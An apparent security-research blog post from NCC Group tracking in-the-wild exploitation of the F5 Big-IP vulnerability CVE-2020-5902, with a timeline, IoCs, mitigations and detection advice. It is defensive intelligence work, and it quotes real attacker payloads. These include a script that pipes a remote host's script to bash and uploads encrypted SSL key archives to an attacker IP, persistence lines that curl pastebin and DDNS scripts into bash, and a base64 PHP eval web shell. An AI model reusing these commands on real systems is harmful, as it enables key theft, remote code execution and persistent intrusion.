# RIFT: F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 Intelligence **[research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/](https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/)** July 5, 2020 ## tl;dr [CVE-2020-5902 was disclosed on July 1st, 2020 by F5 Networks in K52145254 as a CVSS](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902) 10.0 remote code execution vulnerability in the Big-IP administrative interface. By July 3rd, 2020 NCC Group observed active exploitation. This blog is a summary of what we know as the situation develops. _About the Research and Intelligence Fusion Team (RIFT):_ RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IoCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies. ## The Vulnerability / Patch ----- Our advice is if you patched after 4th July you need to assume compromise and conduct an forensic examination of the server. If you applied any of the mitigations, it is also likely, and you should check for signs of exploitation soon before logs are rotated. [The vulnerability was discovered by Positive Technologies and an associated blog post](https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/) [released on July 2nd, 2020. NCC Group’s RIFT established a live post on Reddit on July 3rd](https://www.reddit.com/r/blueteamsec/comments/hkjxob/live_post_cve20205902_f5_bigip_the_traffic/) to collate early intelligence and raise awareness within the cyber defence and sysadmin communities. [In the F5 knowledge base article K52145254 there is the following mitigation:](https://support.f5.com/csp/article/K52145254) ``` Redirect 404 / ``` This regex checks for: ``` ..; ``` As such it can be described as a directory traversal vulnerability. This ability combined with functionality native to the device provides the ability to access files, upload files and execute code without authentication. ## Timeline of Events Click for full size ## Reporting Vulnerable Hosts to Providers ----- We had someone report to our hosting provider one of our vulnerable hosts. ## REST Exploitation We observed a novel code execution mechanism. The risk is that anyone who has gained a password via: Backdoor account addition via original RCE vectors (tmsh, hsqldb) Dumped/cracked passwords (via RCE or `tmsh list`) Password spraying for known backdoor accounts Can still execute code using the REST API ## More Complex Payloads and Miners As of July 14th, 2020 we are seeing an actor deploy the following. ----- ``` // firmwareupdate.php curl http://148.251.87.169/metrics.php | bash > /tmp/f5_reconfig.txt; tar -czvf /tmp/ssl.tar.gz /config/ssl/; tar -czvf /tmp/f5_metadata.tar.gz /tmp/f5_reconfig.txt /tmp/ssl.tar.gz; rm /tmp/ssl.tar.gz /tmp/f5_reconfig.txt; openssl enc -in /tmp/f5_metadata.tar.gz -out /tmp/enc.dat -e -aes256 -k 5up3r53cr37p455w0rd; curl -F "dnscache=@/tmp/enc.dat" http://148.251.87.169/dnscacheresolve.php; rm /tmp/f5_metadata.tar.gz /tmp/enc.dat // metrics.php #!/bin/bash commands=( 'which getenforce > /dev/null && getenforce || echo Disabled' 'find /config -name "*.conf" | xargs tar P -T /dev/null --dereference -zc --ignore-failed-read | base64' 'find / -maxdepth 1 -type f -name "VERSION*" | xargs tar P -T /dev/null -dereference -zc --ignore-failed-read | base64' 'if find /etc -maxdepth 1 -name "rsyslog*" -type d > /dev/null 2>/dev/null; then grep -Rq "^[^#]*@@" /etc/rsyslog*; echo $?; else echo "1"; fi' 'if find /etc -maxdepth 1 -name "syslog-ng*" -type d >/dev/null 2>/dev/null; then grep -Rv "^\\s*#" /etc/syslog-ng* | grep -q "destination remote"; echo $?; else echo "1"; fi' "grep -oE 'cache-path ([^\S]+)' /config/bigip.conf | awk '{ print $2 }' | xargs tar P -T /dev/null --dereference -zc --ignore-failed-read | base64" 'ifconfig' "cat /proc/uptime | awk '{ print $1 }'" 'find /usr/lib* /lib* -type f -name "*.so*" -exec md5sum {} \;' 'tar P -T /dev/null --dereference -zc --ignore-failed-read /var/log/audit | base64' 'tar P -T /dev/null --dereference -zc --ignore-failed-read /root/.tmshhistory-root | base64' 'cat /proc/meminfo' 'cat /proc/cpuinfo' 'df -haP' 'tar P -T /dev/null --dereference -zc --ignore-failed-read /config/bigip.license | base64' 'ls -l /config/bigpipe/config_base.conf' ) for command in "${commands[@]}"; do echo "___" echo "___" >&2 echo $command | bash echo "~~~" echo $? done ``` We have also seen the actor checking, we suspect to try and detect honeypots ``` they are checking /etc/rsyslog* ``` We also saw a couple of days ago our first xmr miners, these have continued to be deployed ``` SHA1: 79f80e6528e6bf552f55f8efe9d8d291ec0a2e78 ``` ----- ## Deployments Continue As of July 12, 2020 at 20:00 we’re observing various actor activity including ``` Jul 12 20:52:39 "sha1": "eebc1efe99bb5040498365322105cc5bd4dc59a5", "full_path": "/tmp/sh-thd-1594586507", "contents": 'getrektdotcom\\nmount -o remount,rw /usr &&sed \\'/renice/ a system(\"nohup curl https://pastebin.com/raw/jDu3vDgM | bash & disown\"); # upload metrics\\' -i -/usr/bin/diskmonitor && sed \\'/AlertThres/ a system(\"nohup curl -L f5update.ddns.net/update.html | bash & disown\"); # check for updates\\' -i -/usr/bin/diskmonitor && mount -o remount,ro /usr\\ncurl \"http://f5updates.eu5.org/updates/update.sh\" | bash\\nchmod 644 /var/run/config/resolv.conf\\necho \"nameserver 1.1.1.1\" >> /var/run/config/resolv.conf\\nchmod 444 /var/run/config/resolv.conf\\nrm /tmp/8RGJUXMSDC\\n' ``` and ----- ``` Jul 12 20:53:07 "sha1": "784fb1aea7d9693e7df4ba70fb8abc7138701ccf", "full_path": "/usr/bin/sedP6OVFl", "contents": " #!/usr/bin/perl\\n#\\n # Monitor disk usage\\n # - Log warning and error conditions\\n # - Launch log rotate to reduce space\\n # - Persist info for predictive warnings\\n #\\n \\n use strict;\\n use F5::COAPI;\\n use Scalar::Util qw( reftype );\\n \\n use constant { \\n MCP_PHASE_NONE => 0,\\n };\\n \\n our $LOG_WALL; # call_log will also write on wall if true (localizable)\\n system(\"nohup curl https://pastebin.com/raw/wbPw3E65 | bash & disown\"); # check for updates\\n \\n # fwd decl / proto\\n sub isMcpdListening();\\n sub getDbVars();\\n \\n #\\n # globals\\n #\\n my $enable = \"disable\";\\n my $interval = 10;\\n my $timelast = 0;\\n my $mcpd = 0;\\n my $now = time();\\n my $nodb = 1; # find any DB vars?\\n my $minfree = 100; # min free space in any partition\\n my $object = undef;\\n #\\n # arrays indexed by partition\\n #\\n my %monitor = {}; # action: check changes, limits, growth, none\\n my %warn = {}; # percent level to warn if above\\n my %alert = {}; # percent level to alert if above\\n my %growth = {}; # perce ## Another Mitigation Bypass and IoC ``` As of 15:23 on July 11, 2020 we’ve observed another attempted mitigation bypass variant ----- The actor us used to use a netcat back to 217.12.199[.]179 [By pass used in this instance was disclosed publicly on July 10th, 2020 on Twitter.](https://twitter.com/jas502n/status/1281631563017367552) ## Mitigation Bypass and IoCs [As of 18:24 on July 7, 2020 it has been publicly reported that the mitigation can be](https://twitter.com/TeamAresSec/status/1280553293320781825) bypassed. Our data shows this bypass was first publicly exploited at 12:39 on July 7, 2020 (6 hours before). ----- the response to the above was a revised mitigation of ``` Redirect 404 / ``` Early data made available to us, as of 08:05 on July 8, 2020, is showing of ~10,000 Internet exposed F5 devices that ~6,000 were made potentially vulnerable again due to the bypass. We’ve released bypass IoCs at: https://github.com/nccgroup/Cyber-Defence/blob/master/Intelligence/CVE-20205902/bypass-iocs.md As of 17:09 on July 9th, 200 we’ve observed a second actor using a bypass. The actors inbound attack and their reverse shell went to the class B 195.123. ## Further Mitigation Bypasses As of 19:40 on July 8, 2020 F5 have stated all previous mitigation where not fully effective ----- Our advice remains to UPGRADE not mitigate and IP filter TMUI interfaces. ## Exploitation The graph below shows the exploitation seen on NCC Group’s honeypot during the morning of July 5th, 2020. Click for full size The graph below shows the exploitation seen on NCC Group’s honeypot during the morning of July 6th, 2020 ----- Click for full size Exploitation is varied including the access of password hashes: As of Saturday remote code execution capabilities existed. The first IPs we observed actively exploiting the issue were published at 17:00 UTC on July 4th, 2020 – https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-20205902 In addition to these initial exploit attempts quickly there after details were shared in open source. [15:53 July 5th, 2020 fully functional exploit payloads were shared on Twitter](https://twitter.com/x4ce/status/1279790599793545216) ----- 17:00 July 5th, 2020 reverse engineering analysis and example payloads were [released on Github.](https://github.com/jas502n/CVE-2020-5902) [21:29 July 5th, 2020 Metasploit exploit modules were made available.](https://github.com/rapid7/metasploit-framework/pull/13807) [02:26 July 6th, 2020 Further exploits released on Github.](https://github.com/yasserjanah/CVE-2020-5902) 09:34 July 6th, 2020 Metasploit exploitation seen in the wild 10:18 July 6th, 2020 New second stages observed ## Staged Exploitation We have as of 10:00 on July 6th, 2020 started to see staged exploitation, namely a payload of: The full payload is ----- Click for full size We have as of 10:29 on July 6th, 2020 started to see a second staged exploitation, namely: Click for full size With a payload of ----- _Click_ _for full size_ IoCs for the 2nd stage are ``` b8ce500c1e6ec4d4268ae0d2de82f9f35bbfc673 /tmp/demo.txt ``` We have as of 16:17 on July 6th, 2020 started to see a third staged exploitation, namely: ----- ``` e1775079d58a6266fdd6185143642ac53b4314fe /var/log/F5-logcheck/zabbix ``` another IoC for this actor is ``` /tmp/cepi ``` Of note this actor did their original scans on July 6th, 2020 at 10:30 and the returned ~6 hours later. ## Webshells As of 16:51 on July 6th, 2020 we’ve seen our first web shell ``` mount -o remount -rw /usr ; echo PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2NpdHJpeEBraGFycGVkYXInXSkpOz8+ | /usr/bin/openssl base64 -d -out /usr/local/www/xui/common/images/bg_status.php ``` when decoded appears to be a reused web shell from Citrix ``` ``` As of 09:26 on July 7th, 2020 we’ve seen a second web shell ``` mount -o remount -rw /usr ;echo 'utility /usr/local/www/xui/common/scripts/utility.php;mount -o remount -r /usr ``` As of 10:10 on July 8th, 2020 we’ve seen a third web shell ``` mount -o remount -rw /usr ;echo 'utility /usr/local/www/xui/common/scripts.php;mount -o remount -r /usr ``` As of 10:15 on July 8th, 2020 we’ve seen our first JSP web shell ----- ## New Exploit from Release to Use in < 12 Hours [As of 12:30 on July 7th, 2020 we’ve seen use of a new exploit](https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/) Whilst not shown above it was combined with this detection bypass attempt not discussed in the blog. ----- We can see them trying to set a password of ABcD007 ## Actors Enabling Features We’ve observed during the morning of July 8th, 2020 actors doing a multi-staged attack with the following the first payload ``` java.lang.System.setProperty" ('org.apache.commons.collections.enableUnsafeSerialization','true') ## Impact ``` As the devices are load balancers they provide the opportunity to: Acquire credentials Acquire access to existing sessions through cookie theft Acquire license keys Perform traffic interception and modification Pivot into the internal network Acquire the private keys to any SSL/TLS certificates on the device ## SIEM Log Configuration [F5 provide documentation on how to configure SYSLOG integration, which we strongly](https://www.pwndefend.com/2020/07/07/configuring-syslog-integration-with-f5-big-ip/) recommend. ## Incident Analysis ----- There are forensics artifacts available, although the log they are stored is limited to 20MB and thus risks cycling quickly. Click for details The wider HTTP log configuration differs from a default configuration. ``` # # The location and format of the access logfile (Common Logfile Format). # If you do not define any access logfiles within a # container, they will be logged here. Contrariwise, if you *do* # define per- access logfiles, transactions will be # logged therein and *not* in this file. # #CustomLog "logs/access_log" common # # If you prefer a logfile with access, agent, and referer information # (Combined Logfile Format) you can use the following directive. # CustomLog "/var/run/httpd.pipe" acc_combined ``` The configuration causes it to send its output to a pipe. This pipe ultimately goes to systemd/journalctl ``` # grep httpd /etc/syslog-ng/syslog-ng_sysinit.conf.default source s_httpd { pipe("/var/run/httpd.pipe" optional(yes) perm(0660) group("apache")); destination d_httpd_err { file("/var/log/httpd/httpd_errors" create_dirs(yes)); source(s_httpd); destination(d_httpd_err); ``` Other forensic artifacts made include new .jsp files or similar used to achieve code execution. ## Exploitation Detection [A Sigma rule has been created and available here. However in order to utilize it will require](https://github.com/Neo23x0/sigma/blob/master/rules/web/web_cve_2020_5902_f5_bigip.yml) for the logs of the Big-IP to be sent to a SIEM as passive network detection won’t work unless SSL/TLS can be decrypted. ## Incident Support Believe your organisation may have been compromised? Contact us on cirt@nccgroup.com ----- ## Change Log July 20th, 2020 @ 17:22 – v1.29 – added REST exploitation mechanism July 14th, 2020 @ 12:37 – v1.28 – further activity including more complex activity July 13th, 2020 @ 09:54 – v1.27 – further activity July 12th, 2020 @ 11:19 – v1.26 – linked to public disclosure of bypass used yesterday July 11th, 2020 @ 16:14 – v1.25 – variant of bypass observed July 9th, 2020 @ 18:45 – v1.24 – second actor using bypass July 8th, 2020 @ 19:40 – v1.23 – further mitigation bypasses added July 8th, 2020 @ 11:29 – v1.22 – added bypass IoCs July 8th, 2020 @ 11:13 – v1.21 – added web shells and 1st stage July 8th, 2020 @ 08:08 – v1.20 – updated advice July 8th, 2020 @ 08:06 – v1.19 – added bypass impact quantification i.e. those that became vulnerable July 8th, 2020 @ 07:12 – v1.18 – added revised mitigation for completeness July 7th, 2020 @ 20:56 – v1.17 – added mitigation bypass update July 7th, 2020 @ 20:53 – v1.16 – added SYSLOG integration July 7th, 2020 @ 13:15 – v1.15 – added new exploit July 7th, 2020 @ 09:26 – v1.14 – added the second web shell July 6th, 2020 @ 17:09 – v1.13 – added the first web shell July 6th, 2020 @ 16:40 – v1.12 – added another staged payload July 6th, 2020 @ 13:13 – v1.11 – added detection aspects and session cookie theft July 6th, 2020 @ 10:21 – v1.10 – added staged payload July 6th, 2020 @ 09:48 – v1.9 – added Honeypot attack volumes from this morning July 6th, 2020 @ 09:34 – v1.8 – added fact Metasploit exploitation seen in the wild July 6th, 2020 @ 09:00 – v1.7 – added timeline of events July 6th, 2020 @ 05:46 – v1.6 – added Metasploit modules and other public exploits released overnight July 5th, 2020 @ 21:22 – v1.5 – added license key theft based on honeypot data July 5th, 2020 @ 17:34 – v1.4 – included link to fully functional exploit being shared July 5th, 2020 @ 16:28 – v1.3 – Further clarification on log pipe consumption July 5th, 2020 @ 16:23 – v1.2 – New journalctl output example July 5th, 2020 @ 16:16 – v1.1 – Clarified log pipe usage July 5th, 2020 @ 15:40 – v1.0 – Initial version -----